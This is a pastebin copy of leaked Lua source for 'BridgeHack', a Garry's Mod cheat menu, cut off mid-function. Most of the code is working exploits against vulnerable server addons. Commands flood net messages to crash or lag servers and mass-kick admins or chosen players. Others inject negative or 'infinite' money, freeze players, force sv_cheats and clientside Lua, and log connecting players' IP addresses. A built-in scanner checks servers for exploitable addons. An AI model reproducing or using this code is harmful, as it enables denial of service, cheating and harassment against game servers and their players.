· 8 years ago · Jan 23, 2018, 03:16 PM
1// Leaked by velkon
2// decrypted by General Hex
3
4local dversion=1.3
5
6local dlversion ="v1.3"
7
8local outdated = 0
9
10local devbuild = 0
11
12local pastecheck = 0 // 0 = Bueno 1 = No Bueno
13
14local crash = 0
15
16local ulx_spam=0
17
18local ply = LocalPlayer()
19
20
21
22// INSTALIZATION
23
24// FUNCTIONS
25
26
27
28surface.CreateFont( "PopupHFont", {
29
30 font = "Segoe UI Light",
31
32 size = 50,
33
34 weight = 1000,
35
36} )
37
38
39
40surface.CreateFont("HeaderFont", {
41
42 font = "Segoe UI Semilight",
43
44 size = 22,
45
46 weight = 300
47
48})
49
50
51
52surface.CreateFont("PopupFont", {
53
54 font = "Segoe UI Light",
55
56 size = 21,
57
58 weight = 300
59
60})
61
62
63
64surface.CreateFont("HeadingFont",{
65
66 font = "ChatFont",
67
68 size = 20,
69
70 weight = 500,
71
72 antialias = true,
73
74})
75
76
77
78function SoundClick()
79
80 if GetConVarNumber("bh_playsound") > 0 then
81
82 surface.PlaySound("buttons/lightswitch2.wav")
83
84 else
85
86end end
87
88
89
90function consoleP(message)
91
92 queries = queries + 1
93
94 MsgC(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
95
96end
97
98
99
100function SoundPop()
101
102 --buttons/blip1.wav
103
104 --buttons/button14.wav
105
106 --buttons/lightswitch2.wav
107
108 if GetConVarNumber("bh_playsound") > 0 then
109
110 surface.PlaySound("buttons/button14.wav")
111
112 else
113
114end end
115
116
117
118local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
119
120
121
122function HitBitches()
123
124 net.Start("hitcomplete")
125
126 net.WriteDouble( GetConVarNumber("bh_hitmenuammount") )
127
128 net.SendToServer()
129
130end
131
132concommand.Add("bh_hithack", HitBitches)
133
134
135
136function clearcon()
137
138 for i=0, 100 do
139
140 print(" ")
141
142end end
143
144
145
146function cleardchat()
147
148 for i=0, 100 do
149
150 chat.AddText(" ")
151
152 end end
153
154
155
156--[[
157
158 Woo, Coloured chat messages!
159
160]]--
161
162function chatP(message)
163
164 queries = queries + 1
165
166 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,0), message)
167
168 --status(message)
169
170end
171
172
173
174function chatPR(message)
175
176 queries = queries + 1
177
178 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,0,0), message)
179
180 --status(message)
181
182end
183
184
185
186function chatPG(message)
187
188 queries = queries + 1
189
190 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(0,255,0), message)
191
192 --status(message)
193
194end
195
196queries=1;
197
198http.Fetch("http://pastebin.com/raw.php?i=jfuCra2J",function(body, len, headers, code)
199
200 serverlist = body
201
202end,function( error )
203
204 chatP("Error accessing PasteBin!")
205
206end)
207
208
209
210http.Fetch("http://pastebin.com/raw.php?i=Ax9WQ5y7",function(body, len, headers, code)
211
212 changelogs = body
213
214end,function( error )
215
216 chatP("Error accessing PasteBin!")
217
218end)
219
220
221
222function printchange()
223
224 consoleP(""..changelogs.."")
225
226end
227
228concommand.Add("bh_logs", printchange)
229
230
231
232--[[
233
234
235
236 PASTEBIN
237
238
239
240 CHECK
241
242
243
244
245
246]]--
247
248local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
249
250
251
252function CheckPastebin()
253
254 http.Fetch("http://pastebin.com/raw.php?i=gy2HeVgB",function(body, len, headers, code)
255
256 bintext = body
257
258 local stringbin = ( tostring( bintext ))
259
260 if (StringM8 == stringbin) then
261
262 consoleP("Connection to PasteBin is good!")
263
264 else
265
266 pastecheck = 1
267
268 chatP("Connection to PasteBin is broken!")
269
270 chatP("BridgeHack needs PasteBin to properly work!")
271
272 end end) end
273
274--[[
275
276~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
277
278 --]]
279
280function VersionCheck()
281
282 http.Fetch("http://pastebin.com/raw.php?i=xcTwfJY7",function( HTML )
283
284 local findpos = string.find( HTML, "CVERSION =", 0, false )
285
286 if (findpos) then
287
288 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
289
290 if (pastecheck == 1) then
291
292 chatP("Can't check for newer versions because PasteBin is unaccessable!")
293
294 elseif ( version > dversion ) then
295
296 outdated = 1
297
298 chatP("Your version is out of date!" )
299
300 elseif ( version == dversion ) then
301
302 chatP("Your version is up to date." )
303
304 elseif (version < dversion) then
305
306 devbuild = 1
307
308 else
309
310 chatP("Error checking versions!")
311
312 end end end) end
313
314VersionCheck()
315
316
317
318/*
319
320 About Menu
321
322
323
324 Woo, learn about us.
325
326
327
328*/
329
330function AboutMenu()
331
332 local frame = vgui.Create("DFrame")
333
334 frame:SetSize( ScrW(), ScrH() )
335
336 frame:SetPos( 0,0 )
337
338 frame:SetVisible( true )
339
340 frame:SetDraggable( false )
341
342 frame:MakePopup()
343
344 frame:ShowCloseButton( false )
345
346 frame.Paint = function(s,w,h)
347
348 surface.SetDrawColor( Color(0,0,0,200) )
349
350 surface.DrawRect( 0,0, w,h )
351
352 surface.SetDrawColor( Color(0,230,255,150) )
353
354 surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )
355
356 surface.SetTextColor(255,255,255)
357
358 surface.SetFont("PopupHFont")
359
360 surface.SetTextPos( w/5 , ScrH()/10 )
361
362 surface.DrawText("About BridgeHack")
363
364 surface.SetFont("PopupFont")
365
366 surface.SetTextPos( w/4, h/2.5)
367
368 surface.DrawText("BridgeHack, made by the Hax R' Us team.")
369
370 surface.SetTextPos( w/4, h/2.4 )
371
372 surface.DrawText("If we haven't said it enough, we'll say it again...")
373
374 surface.SetTextPos( w/4, h/2.3 )
375
376 surface.DrawText("The Hax R' Us team has worked VERY hard on this menu.")
377
378 surface.SetTextPos( w/4, h/2.2 )
379
380 surface.DrawText("We LOVE feedback, so please, take the time and send an email to team.")
381
382 surface.SetTextPos( w/4, h/2.1 )
383
384 surface.DrawText("haxrus1337@gmail.com")
385
386 surface.SetTextPos( w/4, h/2.0 )
387
388 surface.DrawText("Tell us what you think of the menu.")
389
390 end
391
392
393
394 button = vgui.Create("DButton", frame)
395
396 button:SetSize(110,32.5)
397
398 button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)
399
400 button:SetText("")
401
402 button.Paint = function(s,w,h)
403
404 surface.SetDrawColor( Color(255,255,255) )
405
406 surface.DrawRect( 0,0, w,h )
407
408 surface.SetDrawColor( Color(13,136,69) )
409
410 surface.DrawRect( 0+3,0+3, w-6,h-6 )
411
412 surface.SetTextColor(255,255,255)
413
414 surface.SetFont("PopupFont")
415
416 surface.SetTextPos(30.5,5.5)
417
418 surface.DrawText( "Alright!" )
419
420 end
421
422 button.DoClick = function(s,w,h)
423
424 frame:Close()
425
426 SoundClick()
427
428 end end
429
430/*
431
432
433
434 GUYS ITS FINALLY HERE!!!
435
436
437
438
439
440
441
442 BridgeHack WELCOME SCREEN!!!!!
443
444
445
446
447
448*/
449
450function WelcomeScreen()
451
452 local Popup = vgui.Create("DFrame")
453
454 Popup:SetSize( ScrW(), ScrH() )
455
456 Popup:SetPos( 0,0 )
457
458 Popup:SetVisible( true )
459
460 Popup:SetDraggable( false )
461
462 Popup:SetTitle( "" )
463
464 Popup:MakePopup()
465
466 Popup:ShowCloseButton( false )
467
468
469
470 Popup.Paint = function(s,w,h)
471
472 surface.SetDrawColor( Color(0,0,0,200) )
473
474 surface.DrawRect( 0,0, w,h )
475
476 surface.SetDrawColor( Color(13,136,69) )
477
478 surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
479
480 surface.SetTextColor(255,255,255)
481
482 surface.SetTextPos(w/5.10, h/2.40)
483
484 if outdated == 0 then
485
486 surface.SetFont("PopupHFont")
487
488 surface.SetTextPos(w/5.10, h/3)
489
490 surface.DrawText("BridgeHack")
491
492 surface.SetFont("PopupFont")
493
494 surface.SetTextPos(w/5.10, h/2.50)
495
496 surface.DrawText( "The HaxRUs team hopes you do thoroughly enjoy using our menu!" )
497
498 surface.SetTextPos(w/5.10, h/2.40)
499
500 surface.DrawText( "Your version "..dlversion.." is up to date!" )
501
502 surface.SetTextPos(w/5.10, h/2.30)
503
504 surface.DrawText("Please, do not leak our menu.")
505
506 surface.SetTextPos(w/5.10, h/2.20)
507
508 surface.DrawText ( "We worked very hard on creating it." )
509
510 elseif outdated == 1 then
511
512 surface.SetFont("PopupFont")
513
514 surface.SetTextPos(w/5.10, h/2.50)
515
516 surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
517
518 else
519
520 surface.SetFont("PopupHFont")
521
522 surface.SetTextPos(10, 100)
523
524 surface.DrawText( "BridgeHack Version "..dlversion.."")
525
526 surface.SetFont("PopupFont")
527
528 surface.SetTextPos(w/5.10, h/2.50)
529
530 surface.DrawText( "Error" )
531
532 end end
533
534 button = vgui.Create("DButton", Popup)
535
536 button:SetSize(110,32.5)
537
538 button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
539
540 button:SetText("")
541
542 button.Paint = function(s,w,h)
543
544 surface.SetDrawColor( Color(255,255,255) )
545
546 surface.DrawRect( 0,0, w,h )
547
548 surface.SetDrawColor( Color(13,136,69) )
549
550 surface.DrawRect( 0+3,0+3, w-6,h-6 )
551
552 surface.SetTextColor(255,255,255)
553
554 surface.SetFont("PopupFont")
555
556 surface.SetTextPos(30.5,5.5)
557
558 surface.DrawText( "Alright!" )
559
560 end
561
562
563
564 button.DoClick = function(s,w,h)
565
566 Popup:Close()
567
568 SoundClick()
569
570 end
571
572
573
574 logbutton = vgui.Create("DButton", Popup)
575
576 logbutton:SetSize(110,32.5)
577
578 logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
579
580 logbutton:SetText("")
581
582 logbutton.Paint = function(s,w,h)
583
584 surface.SetDrawColor( Color(255,255,255) )
585
586 surface.DrawRect( 0,0, w,h )
587
588 surface.SetDrawColor( Color(13,170,181) )
589
590 surface.DrawRect( 0+3,0+3, w-6,h-6 )
591
592 surface.SetTextColor(255,255,255)
593
594 surface.SetFont("PopupFont")
595
596 surface.SetTextPos(10,5.5)
597
598 surface.DrawText( "Change Logs" )
599
600 end
601
602
603
604 logbutton.DoClick = function(s,w,h)
605
606 Popup:Close()
607
608 ChangeLogMenu()
609
610 SoundClick()
611
612 end end
613
614concommand.Add("bh_welcome", WelcomeScreen, SVersionCheck)
615
616
617
618-- Version Menu It Looks PURDY
619
620
621
622 local Panel = vgui.Create( "DFrame" )
623
624 Panel:SetSize( 800, 600 )
625
626 Panel:SetPos( ScrW(),ScrH() )
627
628 Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
629
630 Panel:SetTitle( "" )
631
632 Panel:MakePopup()
633
634 Panel:ShowCloseButton( false )
635
636 function Panel:Paint( w, h )
637
638 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
639
640 draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
641
642 draw.SimpleText( "BridgeHack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
643
644 end
645
646
647
648 local Button = vgui.Create("DButton", Panel)
649
650 Button:SetPos( 740, 10 )
651
652 Button:SetSize( 50, 25 )
653
654 Button:SetText( "" )
655
656 function Button:Paint( w, h )
657
658 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
659
660 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
661
662 end
663
664 Button.DoClick = function()
665
666 Panel:Close()
667
668 end
669
670
671
672 local Label = vgui.Create( "DLabel", Panel )
673
674 Label:SetColor( Color( 255, 255, 255, 255 ) )
675
676 Label:SetFont( "DermaLarge" )
677
678
679
680 if outdated == 1 then
681
682 Label:SetText( "Your version " ..dlversion.." is outdated!" )
683
684 Label:SetTextColor( Color( 255,0,0 ) )
685
686 elseif outdated == 0 then
687
688 Label:SetText( "Your version "..dlversion.." is up to date!" )
689
690 Label:SetTextColor( Color( 0,255,0 ) )
691
692 else
693
694 Label:SetText("Error receving version information!")
695
696 end
697
698
699
700 Label:SizeToContents()
701
702 Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
703
704/*
705
706
707
708
709
710 END MENU
711
712
713
714
715
716*/
717
718local randomvar = math.Rand(0,9999999)
719
720local BridgeHack = {}
721
722BridgeHack.RandomVar = randomvar
723
724local sweg = LocalPlayer():GetEyeTrace().Entity
725
726local ply = LocalPlayer()
727
728ply:ConCommand("bh_welcome")
729
730timer.Destroy("changecolor")
731
732
733
734queries=1;
735
736function status(statu)-- Made for debugging things.
737
738 queries = queries + 1
739
740 if GetConVarNumber("bh_showhud") == 1 then
741
742 hook.Add( "HUDPaint", "drawcurrent", function()
743
744 surface.SetFont( "BudgetLabel" )
745
746 surface.SetTextColor( 255,255,255 )
747
748 surface.SetTextPos( 25, 25 )
749
750 surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
751
752 end) end
753
754
755
756 if GetConVarNumber("bh_chat_status") == 1 then
757
758 chat.AddText(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), statu)
759
760 end end
761
762
763
764function Debug(message)
765
766 queries = queries + 1
767
768 chat.AddText(Color(155, 89, 182), "[ BridgeHack]: ", Color(255,255,255), message)
769
770end
771
772
773
774local function CreateCvar(cvar, value)
775
776 CreateClientConVar(cvar, value)
777
778 consoleP("CVAR: " .. cvar .. " set to " .. value)
779
780end
781
782
783
784local function ResetCvar(cvar, value)
785
786 ply:ConCommand("" .. cvar .. " " .. value)
787
788 Debug("CVAR: " .. cvar .. " reset to " .. value)
789
790end
791
792
793
794CheckPastebin()
795
796CreateCvar("bh_notify", 1)
797
798CreateCvar("bh_ulxgag", 1, true, false)
799
800CreateCvar("bh_playsound",1)
801
802CreateCvar("bh_hitmenuammount",0)
803
804CreateCvar("bh_menu_effects", 1)
805
806CreateCvar("bh_firstload_correct", 1)
807
808CreateCvar("bh_chat_status", 0)
809
810CreateCvar("bh_cheats_enabled_on_start", 0)
811
812CreateCvar("bh_cheats_svlua_enabled_on_start", 0)
813
814CreateCvar("bh_showhud", 0)
815
816CreateCvar("bh_esp",0)
817
818CreateCvar("bh_esp_box",1)
819
820CreateCvar("bh_debug",0)
821
822CreateCvar("bh_esp_hp",1)
823
824CreateCvar("bh_esp_rank",1)
825
826CreateCvar("bh_renderdistance_enable",0)
827
828CreateCvar("bh_esp_rdistance",2000)
829
830CreateCvar("bh_esp_infocolor_r",255)
831
832CreateCvar("bh_esp_infocolor_g",0)
833
834CreateCvar("bh_esp_infocolor_b",255)
835
836CreateCvar("bh_ratm_money2give",100000)
837
838
839
840
841
842if GetConVarNumber("bh_firstload_correct") == 1 then
843
844 Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching BridgeHack on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +bh_menu\nThanks for purchasing BridgeHack, Enjoy\nBridgeHack Hack (HaxRUs)", "Welcome to BridgeHack " .. ply:Nick() .. "!", "Click me to continue" )
845
846 ply:ConCommand("bh_firstload_correct 0")
847
848 chatP("Welcome to the world of BridgeHack.")
849
850
851
852else
853
854end
855
856
857
858if GetConVarNumber("bh_cheats_enabled_on_start") == 1 then
859
860 ply:ConCommand("incrementvar sv_cheats 0 1 1")
861
862 status("Enabled sv_cheats to 1")
863
864else
865
866end
867
868if GetConVarNumber("bh_cheats_svlua_enabled_on_start") == 1 then
869
870
871
872 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
873
874 status("Enabled sv_allowcslua to 1")
875
876else
877
878end
879
880
881
882// FIXES
883
884local oChatAddText = chat.AddText
885
886
887
888function chat.AddText( ... )
889
890 local cArgs = { ... };
891
892
893
894
895
896 for k, v in pairs( cArgs ) do
897
898 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
899
900 print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
901
902 return false;
903
904 else
905
906 end
907
908 end
909
910 return oChatAddText( ... );
911
912end
913
914
915
916---------------------------------------// Global timers //---------------------------------------
917
918if GetConVarNumber("bh_showhud") == 1 then
919
920 hook.Add( "HUDPaint", "drawcursor", function()
921
922 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
923
924 surface.SetDrawColor(c)
925
926 surface.DrawLine(x - 10, y, x - 5, y)
927
928 surface.DrawLine(x, y + 5, x, y + 10)
929
930 surface.DrawLine(x + 10, y, x + 5, y)
931
932 end)
933
934
935
936 hook.Add( "HUDPaint", "drawabout", function()
937
938 surface.SetFont( "BudgetLabel" )
939
940 surface.SetTextColor( 46, 204, 113 )
941
942 surface.SetTextPos( 25, 15 )
943
944 surface.DrawText( "BridgeHack " .. dlversion )
945
946 end)
947
948
949
950 if GetConVarNumber("bh_debug") > 0 then
951
952 if system.IsWindows( ) == true then
953
954 hook.Add( "HUDPaint", "drawdev1", function()
955
956 surface.SetFont( "BudgetLabel" )
957
958 surface.SetTextColor( 231, 76, 60 )
959
960 surface.SetTextPos( 25, 47 )
961
962 surface.DrawText( "[] Server Operating System: Windows" )
963
964 end)
965
966 end
967
968
969
970 if system.IsLinux( ) == true then
971
972 hook.Add( "HUDPaint", "drawdev2", function()
973
974 surface.SetFont( "BudgetLabel" )
975
976 surface.SetTextColor( 231, 76, 60 )
977
978 surface.SetTextPos( 25, 47 )
979
980 surface.DrawText( "[] Server Operating System: Linux" )
981
982 end)
983
984 end
985
986
987
988 if system.IsOSX( ) == true then
989
990 hook.Add( "HUDPaint", "drawdev3", function()
991
992 surface.SetFont( "BudgetLabel" )
993
994 surface.SetTextColor( 231, 76, 60 )
995
996 surface.SetTextPos( 25, 47 )
997
998 surface.DrawText( "[] Server Operating System: OSX")
999
1000 end)
1001
1002 end
1003
1004
1005
1006 hook.Add( "HUDPaint", "drawdev4", function()
1007
1008 surface.SetFont( "BudgetLabel" )
1009
1010 surface.SetTextColor( 231, 76, 60 )
1011
1012 surface.SetTextPos( 25, 47 )
1013
1014 surface.DrawText( "[] Server Operating System: Windows" )
1015
1016 end)
1017
1018
1019
1020 hook.Add( "HUDPaint", "drawdev5", function()
1021
1022 surface.SetFont( "BudgetLabel" )
1023
1024 surface.SetTextColor( 231, 76, 60 )
1025
1026 surface.SetTextPos( 25, 57 )
1027
1028 surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
1029
1030 end)
1031
1032
1033
1034 hook.Add( "HUDPaint", "drawdev6", function()
1035
1036 surface.SetFont( "BudgetLabel" )
1037
1038 surface.SetTextColor( 231, 76, 60 )
1039
1040 surface.SetTextPos( 25, 67 )
1041
1042 surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
1043
1044 end)
1045
1046
1047
1048 end
1049
1050end
1051
1052
1053
1054status("Starting")
1055
1056status("BridgeHack Loaded")
1057
1058
1059
1060for k,v in pairs(player.GetAll()) do
1061
1062
1063
1064 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
1065
1066 consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
1067
1068 end
1069
1070consoleP("BridgeHack, by HaxRUs")
1071
1072consoleP(dlversion)
1073
1074
1075
1076// FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
1077
1078// CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
1079
1080
1081
1082concommand.Add("bh_hitmanxcrash", function ( ply )
1083
1084for i=0,300 do
1085
1086for k,v in pairs(player.GetAll()) do
1087
1088net.Start( "SendMoney" )
1089
1090net.WriteEntity( v )
1091
1092net.WriteEntity( v )
1093
1094net.WriteEntity( v )
1095
1096net.WriteString( "-100000000000000000000000000000000000000000" )
1097
1098net.SendToServer()
1099
1100
1101
1102end end end)
1103
1104
1105
1106concommand.Add("bh_hitmanxinfa", function ( ply )
1107
1108for k,v in pairs(player.GetAll()) do
1109
1110net.Start( "SendMoney" )
1111
1112net.WriteEntity( v )
1113
1114net.WriteEntity( v )
1115
1116net.WriteEntity( v )
1117
1118net.WriteString( "-100000000000000000000000000000000000000000" )
1119
1120net.SendToServer()
1121
1122
1123
1124end end)
1125
1126
1127
1128concommand.Add("bh_hitmancrash",function()
1129
1130 for i=0,5000 do
1131
1132 ply:ConCommand('addhit "'..ply:Nick()..'" 500')
1133
1134 end
1135
1136
1137
1138end)
1139
1140
1141
1142concommand.Add("bh_ulxgag",function()
1143
1144 if(ulx and ulx.gagUser) then
1145
1146 if GetConVarNumber("bh_ulxgag") == 1 then
1147
1148 ulx.gagUser(LocalPlayer(),false)
1149
1150 else
1151
1152 end
1153
1154 else
1155
1156 end
1157
1158
1159
1160end)
1161
1162
1163
1164concommand.Add("bh_antiaim",function()
1165
1166 hook.Add("CreateMove",function(cmd, u)
1167
1168 if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
1169
1170 local aa = cmd:GetViewAngles()
1171
1172 cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
1173
1174end)
1175
1176
1177
1178end)
1179
1180
1181
1182
1183
1184concommand.Add("bh_infinite_all",function()
1185
1186 clearcon()
1187
1188 cleardchat()
1189
1190 chatP("Giving money, He he")
1191
1192for k,v in pairs(player.GetAll()) do
1193
1194net.Start( "BailOut" )
1195
1196 net.WriteEntity( v )
1197
1198 net.WriteEntity( v )
1199
1200 net.WriteFloat( -infinite )
1201
1202 net.SendToServer()
1203
1204 end
1205
1206
1207
1208end)
1209
1210
1211
1212concommand.Add("bh_ipsteal",function()
1213
1214hook.Add("PlayerConnect", "IPStealer", function(name, ip)
1215
1216 file.Append("ips.txt", name .. " - " .. ip .. "\n")
1217
1218end)
1219
1220
1221
1222end)
1223
1224
1225
1226local nlr = CreateClientConVar("bh_nlr_freeze", "0", true, false)
1227
1228
1229
1230local function nlrs()
1231
1232 if nlr:GetBool() then
1233
1234 for k,v in pairs(player.GetAll())do
1235
1236 if v != LocalPlayer() then
1237
1238 net.Start("NLR.ActionPlayer")
1239
1240 net.WriteEntity(v)
1241
1242 net.SendToServer()
1243
1244 end
1245
1246 end
1247
1248 end
1249
1250 end
1251
1252timer.Create("nlrs", 4,0,nlrs)
1253
1254
1255
1256LastTime = CurTime()
1257
1258concommand.Add("bh_tp_spawn",function()
1259
1260 chatP("Teleported to spawn!")
1261
1262 consoleP("Teleported to spawn!")
1263
1264 status("Teleported to spawn!")
1265
1266 net.Start("DarkRP_Kun_ForceSpawn")
1267
1268 net.SendToServer()
1269
1270
1271
1272end)
1273
1274
1275
1276concommand.Add("bh_check",function()
1277
1278clearcon()
1279
1280cleardchat()
1281
1282chatP("Checking for exploitable addons...")
1283
1284if HIT then
1285
1286 chatPG("Hitman X | Found")
1287
1288else
1289
1290 chatPR("Hitman X | Not Found")
1291
1292end
1293
1294if HitMenu then
1295
1296 chatPG("Hit Menu | Found")
1297
1298else
1299
1300 chatPR("Hit Menu | Not Found")
1301
1302end
1303
1304if BAIL then
1305
1306 chatPG("BailNPC | Found")
1307
1308else
1309
1310 chatPR("BailNPC | Not Found")
1311
1312end
1313
1314if dLogs then
1315
1316 chatPG("DLOGS | Found")
1317
1318else
1319
1320 chatPR("DLOGS | Not Found")
1321
1322end
1323
1324if ChanNum then
1325
1326 chatPG("MXRadio| Found")
1327
1328else
1329
1330 chatPR("MXRadio | Not Found")
1331
1332end
1333
1334if VC_Menu_Info_Panel_Build then
1335
1336 chatPG("VCMD | Found")
1337
1338else
1339
1340 chatPR("VCMD | Not Found")
1341
1342end
1343
1344if MDE then
1345
1346 chatPG("MDE | Found")
1347
1348else
1349
1350 chatPR("MDE | Not Found")
1351
1352end
1353
1354if NLR then
1355
1356 chatPG("NLR | Found")
1357
1358else
1359
1360 chatPR("NLR | Not Found")
1361
1362end
1363
1364if Warnings_for_kick then
1365
1366 chatPG("ULX Extended | Found")
1367
1368else
1369
1370 chatPR("ULX Extended | Not Found")
1371
1372end
1373
1374
1375
1376end)
1377
1378
1379
1380function reloadeddunkalladmins()
1381
1382clearcon()
1383
1384chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
1385
1386timer.Create( "heymnangng", 3, 0, function()
1387
1388for k,v in ipairs(player.GetAll()) do
1389
1390if( v:GetUserGroup() != "user" ) then
1391
1392if v:Nick() != "Gam" then
1393
1394for i=0, 700 do
1395
1396net.Start( "GetCar" )
1397
1398net.WriteEntity(v)
1399
1400net.WriteEntity(v)
1401
1402net.SendToServer()
1403
1404end
1405
1406chatP('Kicked: '.. v:Nick().. "!")
1407
1408end end end end)end
1409
1410concommand.Add( "bh_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
1411
1412
1413
1414function dloglag()
1415
1416clearcon()
1417
1418print("Lagging server.")
1419
1420clearcon()
1421
1422print("Lagging server..")
1423
1424clearcon()
1425
1426print("Lagging server...")
1427
1428timer.Create( "dlogsisfucked", 3, 0, function()
1429
1430for i=0, 7000 do
1431
1432local tosend = {
1433
1434 cmd="+forward",
1435
1436 args=" "
1437
1438
1439
1440 }
1441
1442 net.Start('dLogsGetCommand')
1443
1444 net.WriteTable(tosend)
1445
1446 net.SendToServer()
1447
1448
1449
1450end end) end
1451
1452
1453
1454concommand.Add( "bh_dlogs_lag", dloglag, SVersionCheck )
1455
1456concommand.Add( "bh_dlogs_lag_off", function()
1457
1458 clearcon()
1459
1460 consoleP("Stopping the lag...")
1461
1462 chatP("Stopping the lag...")
1463
1464 timer.Destroy("dlogisfucked")
1465
1466end)
1467
1468
1469
1470concommand.Add("bh_admins", function()
1471
1472clearcon()
1473
1474chatP("Listing non-players..")
1475
1476chatP("Check console.")
1477
1478consoleP("============= ULX | Custom admin mode RANKS ============")
1479
1480for k,v in pairs(player.GetAll()) do
1481
1482 if( v:GetUserGroup() != "user" ) then
1483
1484 print(v:Nick().. " | ".. v:GetUserGroup())
1485
1486 end
1487
1488end
1489
1490consoleP("========================================================")
1491
1492end)
1493
1494
1495
1496local Spammer = CreateClientConVar("bh_advert", "0", true, false)
1497
1498
1499
1500local function Spam()
1501
1502 if Spammer:GetBool() then
1503
1504 RunConsoleCommand("say", "/advert I AM TOO COOL FOR SCHOOL !!!!!!") --Whatever you want
1505
1506 end end
1507
1508timer.Create("Spam", 1.5,0,Spam)
1509
1510
1511
1512local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
1513
1514function kickdaplayer()
1515
1516timer.Create( "heymnangng2", 3, 0, function()
1517
1518for k,v in ipairs(player.GetAll()) do
1519
1520if v:Nick() == GetConVar("g_mx_playername") then
1521
1522clearcon()
1523
1524print("Kicking: ")
1525
1526print(v:Nick())
1527
1528for i=0, 700 do
1529
1530net.Start( "GetCar" )
1531
1532net.WriteEntity(v)
1533
1534net.WriteEntity(v)
1535
1536net.SendToServer()
1537
1538end
1539
1540chatP("Kicked ".. v:Nick())
1541
1542consoleP("Kicked ".. v:Nick())
1543
1544end end end) end
1545
1546concommand.Add( "bh_mx_kickplayer", kickdaplayer, SVersionCheck )
1547
1548
1549
1550concommand.Add("Bh_clearcon",function()
1551
1552 clearcon()
1553
1554
1555
1556end)
1557
1558
1559
1560concommand.Add("Bh_clearchat",function()
1561
1562 cleardchat()
1563
1564
1565
1566end)
1567
1568
1569
1570
1571
1572concommand.Add("bh_3dcardealer_spamstore",function()
1573
1574 chatP("You better be looking at a car")
1575
1576 for i=0,100 do
1577
1578 clearcon()
1579
1580 chatP("Spamming store... ".."["..i.."]")
1581
1582 net.Start( "RXCAR_Shop_Sell_C2S" )
1583
1584 net.WriteTable({EAA=sweg, CDAA})
1585
1586 net.SendToServer()
1587
1588 end
1589
1590
1591
1592end)
1593
1594
1595
1596concommand.Add("bh_serverlist",function()
1597
1598 status("Printing lise to console...")
1599
1600 chatP("Check console.")
1601
1602 clearcon()
1603
1604 consoleP(""..serverlist.."")
1605
1606 status("Complete")
1607
1608
1609
1610end)
1611
1612
1613
1614function CheckAE()
1615
1616
1617
1618 if requestTables then
1619
1620 print("ae found, bh_ae will work")
1621
1622 chatP("AE was found, bh_ae will work.")
1623
1624 else
1625
1626 chatP("AE was not found, bh_ae will not work.")
1627
1628 end end
1629
1630concommand.Add("bh_aecheck", CheckAE, SVersionCheck)
1631
1632
1633
1634concommand.Add("bh_ae_kickadmins",function()
1635
1636clearcon()
1637
1638chatP("Attempting to Kick admins")
1639
1640chatP("This will only work on admins+")
1641
1642timer.Create( "aekickdaskids", 3, 0, function()
1643
1644for k,v in ipairs(player.GetAll()) do
1645
1646if( v:GetUserGroup() != "user" ) then
1647
1648if( v:GetUserGroup() != "vip" ) then
1649
1650for i=0, 1000 do
1651
1652net.Start('plyWarning')
1653
1654 net.WriteEntity(v)
1655
1656 net.WriteString('You have to select a player before doing a action.')
1657
1658 net.SendToServer()
1659
1660end
1661
1662chatP('Attempting to kick: '.. v:Nick().. "!")
1663
1664
1665
1666end end end end) end)
1667
1668
1669
1670concommand.Add("bh_namesteal_on",function()
1671
1672 status("Running Script: Random Name Change [name steal]....")
1673
1674
1675
1676 timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
1677
1678 local plylastname = ply:Nick()
1679
1680 for k,v in pairs(player.GetAll()) do
1681
1682 local ligger_type = math.random(1,2)
1683
1684 local ligger_type1 = math.random(1,2)
1685
1686 status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
1687
